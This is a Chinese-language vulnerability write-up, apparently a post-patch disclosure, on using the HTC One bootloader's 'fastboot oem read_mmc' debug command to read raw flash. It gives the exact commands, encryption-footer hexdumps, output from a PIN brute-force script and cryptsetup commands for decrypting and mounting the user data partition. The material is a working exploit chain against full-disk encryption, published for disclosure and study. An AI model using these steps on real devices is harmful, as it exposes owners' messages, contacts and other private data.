利用HTCOne漏洞破解手机PIN密码

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所属分类：移动安全

HTCOne手机运行的是Android4.2.2、HBOOT1.54.0000，它存在一个名为Bootloader的漏洞。这个漏洞早在2014年2月份就报告给了HTC官方，并在次月就修复了该漏洞。在得到HTC官方同意后，我们现在就将整个漏洞利用测试过程发布出来。

read_emmc命令在2011发布的HTCDesireZ手机中也曾出现过。这个命令允许攻击者访问手机内存，并可能获取短信、联系人等敏感信息。

此外，这条命令允许攻击者通过bruteforce自动获取手机PIN/passcode。他会打开一个额外的缺口防止用户定义易猜解的PIN/passcode(比如说就4个数字的PIN)。这是常有的事情，因为日常解锁手机也是可以使用PIN/passcode的。

这个攻击仅限于HTCOne手机且还得开启全盘加密，也就是说手机由安卓加密保护。

read_emmc命令在部分HTC手机中似乎是一个用来调试的命令。在我们看来，这条命令不应该出现在用户手机上。

这篇文章描述了HTCOne在安卓全盘加密上的强悍安全机制(AES加密,合理的密钥长度,salt) 。

访问闪存

将HTCOne关机然后插入电脑，然后进入fastboot模式（关机状态按住音量+键以及开机键，然后放开开机键），这样我们可以从HBOOT进入fastboot模式。

到了这里，我们就可以利用fastboot进行读取内存操作了，命令如下：

commandformat: 
read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]

我们来看看参数的定义：

第一个参数，告诉机器从哪里读取。“emmc”是读取闪存，“sd”是读取内存卡

#blocks:读取块的数量

#blocks/read:一次读取块的数量

show:设置成1来显示结果

读取第一个扇区，可以使用如下命令

$fastboot oem read_mmc emmc 0 1 1 1
...
(bootloader) reading sector 0 ~ 0
(bootloader) 0
...
(bootloader) 0
(bootloader) DF
(bootloader) FF
(bootloader) 3
(bootloader) 0
(bootloader) 20
(bootloader) E0
(bootloader) 9F
(bootloader) 3
(bootloader) 55
(bootloader) AA
(bootloader) read sector done average = 172
OKAY [  0.310s]
finished. total time: 0.311s

从头开始看，我们可以看到许多的0（超过400字节），其结尾是“55AA” 。

在手机上使用ADBShell，我们可以看到用户的数据分区块“mmcblk0p37”是从6422528开始的。在安卓下它与挂载的ext4分区对应

shell@android#cat /proc/emmc
dev:        size     erasesize name
...
mmcblk0p37: 680000000 00000200 "userdata"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start
6422528
shell@android:# mount
...
/dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0

因此，攻击者可以使用“read_mmc” 命令，在闪存中浏览用户数据分区中的内容，即使用户设定了PIN/密码都无法阻止。

$fastboot oem read_mmc emmc 6422530 1 1 1
...
(bootloader) reading sector 6422530 ~ 6422530
(bootloader) 0
...
(bootloader) 2F
(bootloader) 64
(bootloader) 61
(bootloader) 74
(bootloader) 61
...
(bootloader) read sector done average = 146
OKAY [  0.359s]
finished. total time: 0.359s

“2F64617461”字节序列是位于用户数据分区开始的“/data”ASCII字符串。

我们的第一个想法就是实现从闪存将用户数据进行转储，然而这个过程需要几天甚至是几个月时间。

另一个想法是利用FUSE(用户空间的文件系统)通过USB连接电脑转储用户数据。

绕过安卓全盘加密（PDE）

在HTCDesireZ（Android2.x）时代还没有出现全盘加密，我们现在考虑是否有办法绕过PDE，使用“read_mmc”漏洞。

ThomasCannon在2012年Defcon大会上向我们演示了PDE工作过程，使用 bruteforce破解PIN/passcode以及解密用户扇区数据的脚本。在那个时候，他使用的是GoogleNexusS纯原生，与这里这个例子稍有不同。

我们决定对设备进行加密，“存储>手机存储加密”。通过其方法，我们注意到出现了一个额外的分区，这个分区就是用来存储密钥的。

$hexdump -C extra 
00000000  c4 b1 b5 d0 01 00 00 00  68 00 00 00 00 00 00 00 |........h.......|
00000010  20 00 00 00 00 00 00 00  00 00 40 03 00 00 00 00  |.........@.....|
00000020  00 00 00 00 61 65 73 2d  63 62 63 2d 65 73 73 69 |....aes-cbc-essi|
00000030  76 3a 73 68 61 32 35 36  00 00 00 00 00 00 00 00 |v:sha256........|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
*
00000060  00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |.............T@.|
00000070  b4 c1 e4 91 69 10 4b 55  2e 47 64 31 13 52 ad 2d |....i.KU.Gd1.R.-|
00000080  bd 8c 42 8e d6 c4 84 00} 00 00 00 00 00 00 00 00 |..B.............|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
000000a0  00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |..........4....9|
000000b0  0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J..............|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
*
00000200

Note:对主密钥及内部数据解密，推荐大家看看Thomas的幻灯片。

我们正好处于加密头的位置，于是我可以很快得到

shell@android#cat /proc/emmc
dev:        size     erasesize name
...
mmcblk0p27: 00010000 00000200 "extra"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start
586799

然后，我们可以再次确认用户数据分区被加密。第一个字节告诉我们，“Thisisanencrypteddevice:)”，这仅仅是在HTCOne中才有的。他之所以能这么写，是因为在默认的ext4分区中第一个字节并没有使用，其他字节都是随机字节。

shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64
00000000  54 68 69 73 20 69 73 20  61 6e 20 65 6e 63 72 79 |This is an encry|
00000010  70 74 65 64 20 64 65 76  69 63 65 3a 29 6f c3 a0 |pted device:)o..|
00000020  26 bc 76 ed a8 77 ef 6a  95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X|
00000030  91 fe 8e 14 9e 81 05 a4  28 65 64 3c 1b e2 11 56 |........(ed<...V|
00000040

接着，我们可以确定能够访问这个头，使用fastboot中“read_mmc” 命令对用户数据分区进行加密

$fastboot oem read_mmc emmc 586799 1 1 1

由此，我们可以编写一个小脚本来读取PDE头，用户数据分区的第一个扇区然后通过电脑进行破解。

#python bruteforce_htcone_over_reademmc.py
oem read_mmc emmc 6422528 1 1 1
oem read_mmc emmc 586799 1 1 1
Footer File    : extra
Magic          : 0xD0B5B1C4
Major Version  : 1
Minor Version  : 0
Footer Size    : 104 bytes
Flags          : 0x00000000
Key Size       : 256 bits
Failed Decrypts: 0
Crypto Type    : aes-cbc-essiv:sha256
Encrypted Key  :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD8C428ED6C48400
Salt           : 0xC71F34809709FD390B4A91D9D9D800CD
----------------
Trying to Bruteforce Password... please wait
Found PIN!: 0000
Saving decrypted master key to &#039;keyfile&#039; 挂载用户数据加密分区

攻击者可以通过上文轻松获取PIN/passcode，他能正常接通电话，重写或者创建PIN/passcode，然后开启ADB，做他想做的任何事。

#mkdir mnt
# losetup /dev/loop0 userdata.img
# cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata
# mount /dev/mapper/userdata mnt

在这个例子上，我们甚至可以通过USB在电脑上执行“read_mmc”命令。

演示详情详见GitHub。

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